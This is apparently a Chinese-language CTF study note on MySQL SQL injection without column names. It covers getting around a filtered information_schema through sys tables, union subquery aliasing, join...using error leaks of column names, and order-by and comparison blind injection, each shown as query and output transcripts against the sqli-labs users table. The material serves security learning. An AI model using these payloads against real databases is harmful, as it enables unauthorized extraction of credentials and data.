sql无列名注入

web安全

一道题引发的无列名注入 | ChaBug安全

聊一聊bypass information_schema-安全客 - 安全资讯平台 (anquanke.com)

information_schema

information_schema这个库保存着mysql服务器的数据库的信息，包括了

  • 数据库名（information_schema.schemata）【schema_name】
  • 表名（information_schema.tables）【table_schema，table_name】
  • 字段名（information_schema.columns）【column_name】

另外MySQL还有一个自带的performance schema库，用于监控MySQL server在一个较低级别的运行过程中的资源消耗、资源等待等情况 。

InnoDb

从MYSQL5.5.8开始，InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中，inndb增加了innodb_index_stats和innodb_table_stats两张表，这两张表中都存储了数据库和其数据表的信息，但是没有存储列名。但是mysql是默认关闭InnoDB存储引擎的。

sys

mysql在5.7版本中新增了sys schema，基础数据来自于performance_schema和information_schema两个库，本身数据库不存储数据。

当ctf题目过滤了information_schema的时候，我们可以使用sys.schema_auto_increment_columns来获取表名。但是sys.schema_auto_increment_columns 只能获取到有自增主键的表的数据。

那如果想通过注入获取到没有自增主键的表的数据怎么办？

sys库里这两个表可以用：

  1. sys.schema_table_statistics_with_buffer
  2. sys.x$schema_table_statistics_with_buffer
select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()

select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()

上面的方法的确可以获取数据库中表名信息了，但是并没有找到类似于information_schema中COLUMNS的视图，也就是说我们并不能获取数据。因此引出了无列名注入。

无列名注入

子查询

无列名注入之子查询的原理是依靠union select时产生的虚拟表来查询数据，不需要知道列名。

以sqli的security表为例：

#查看所有字段
mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)
/*先select 1,2,3，可以让1,2,3位于第一行，充当列名，更好控制.
union select * from users联合查询所有数据段。
*/
mysql> select 1,2,3 union select * from users;
+----+----------+------------+
| 1  | 2        | 3          |
+----+----------+------------+
|  1 | 2        | 3          |
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
14 rows in set (0.00 sec)
/*(select 1,2,3 union select * from users)n表示把select 1,2,3 union select * from users的结果当成一个表，后面的n是别名，相当于as n
select `2` 查询我们构造的虚拟表的2这个列，这里就体现了控制列名的好处。
#注意这里如果没有``会报错。
*/
mysql> select `2` from (select 1,2,3 union select * from users)n;
+----------+
| 2        |
+----------+
| 2        |
| Dumb     |
| Angelina |
| Dummy    |
| secure   |
| stupid   |
| superman |
| batman   |
| admin    |
| admin1   |
| admin2   |
| admin3   |
| dhakkan  |
| admin4   |
+----------+
14 rows in set (0.00 sec)
/*
如果把``给过滤了的话，我们可以给2取个别名，从而绕过。
像下面这样，就不使用到``
*/
mysql> select a from (select 1,2 as a,3 union select * from users)n;
+----------+
| a        |
+----------+
| 2        |
| Dumb     |
| Angelina |
| Dummy    |
| secure   |
| stupid   |
| superman |
| batman   |
| admin    |
| admin1   |
| admin2   |
| admin3   |
| dhakkan  |
| admin4   |
+----------+
14 rows in set (0.00 sec)
#或者像下面使用【表名.列名】这样绕过``
mysql> select n.2 from (select 1,2,3 union select * from users)n;
+----------+
| 2        |
+----------+
| 2        |
| Dumb     |
| Angelina |
| Dummy    |
| secure   |
| stupid   |
| superman |
| batman   |
| admin    |
| admin1   |
| admin2   |
| admin3   |
| dhakkan  |
| admin4   |
+----------+
14 rows in set (0.00 sec)

join…using

mysql> select * from users where id='0' union all select * from (select * from users as a join users as b)as c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from users where id='0' union all select * from (select * from users as a join users as b using(id))as c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select * from users where id='0' union all select * from (select * from users as a join users as b using(id,username))as c;
ERROR 1060 (42S21): Duplicate column name 'password'
mysql> select * from users where id='0' union all select * from (select * from users as a join users as b using(id,username,password))as c;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

注意看报错信息，直接得到了列名。

原理：

mysql> select * from users as a join users as b;
+----+----------+------------+----+----------+------------+
| id | username | password   | id | username | password   |
+----+----------+------------+----+----------+------------+
|  1 | Dumb     | Dumb       |  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |  1 | Dumb     | Dumb       |
|  3 | Dummy    | p@ssword   |  1 | Dumb     | Dumb       |
|  4 | secure   | crappy     |  1 | Dumb     | Dumb       |
以下省略.....

发现这条语句的作用是构造了一个含有两个一模一样users表的虚拟表。

然后我们用这个表随便select一查：

mysql> select * from (select * from users as a join users as b)as c;
ERROR 1060 (42S21): Duplicate column name 'id'

就报错了！

这是因为一个表中不允许出现两个相同的列名。

我们再看using的使用，using等价于join操作中的on（约束）：

mysql> select * from users as a join users as b using(id);
+----+----------+------------+----------+------------+
| id | username | password   | username | password   |
+----+----------+------------+----------+------------+
|  1 | Dumb     | Dumb       | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you | Angelina | I-kill-you |

发现后面加了using(id)后，虚拟表中就只有一个id列了！

那么这样一来id就不会报错，按顺序就是username报错了。

mysql> select * from (select * from users as a join users as b using(id))as c;
ERROR 1060 (42S21): Duplicate column name 'username'

确实如此！

order by盲注

order by 默认升序排序。根据构造的字符与原字段的排序位置的变化来判断字符，跟二分查找类似。

猜第一位

mysql> select * from users where id=1 union select 1,2,'c' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | c        |
|  1 | Dumb     | Dumb     |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 union select 1,2,'d' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | d        |
|  1 | Dumb     | Dumb     |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 union select 1,2,'e' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | e        |
+----+----------+----------+
2 rows in set (0.00 sec)
#说明第一位是d

猜第二位

mysql> select * from users where id=1 union select 1,2,'dt' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | dt       |
|  1 | Dumb     | Dumb     |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 union select 1,2,'du' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | du       |
|  1 | Dumb     | Dumb     |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 union select 1,2,'dv' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | dv       |
+----+----------+----------+
2 rows in set (0.00 sec)
#说明第二位是u

比大小盲注

跟order by盲注类似

select (select 1,'b',3) > (select * from users limit 0,1);

通过返回的1或者0，来判断。

mysql> select * from users limit 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select 1,'b',3;
+---+---+---+
| 1 | b | 3 |
+---+---+---+
| 1 | b | 3 |
+---+---+---+
1 row in set (0.00 sec
mysql> select (select 1,'b',3) > (select * from users limit 0,1);
+----------------------------------------------------+
| (select 1,'b',3) > (select * from users limit 0,1) |
+----------------------------------------------------+
|                                                  0 |
+----------------------------------------------------+
1 row in set (0.00 sec)

mysql> select (select 1,'d',3) > (select * from users limit 0,1);
+----------------------------------------------------+
| (select 1,'d',3) > (select * from users limit 0,1) |
+----------------------------------------------------+
|                                                  0 |
+----------------------------------------------------+
1 row in set (0.00 sec)

mysql> select (select 1,'e',3) > (select * from users limit 0,1);
+----------------------------------------------------+
| (select 1,'e',3) > (select * from users limit 0,1) |
+----------------------------------------------------+
|                                                  1 |
+----------------------------------------------------+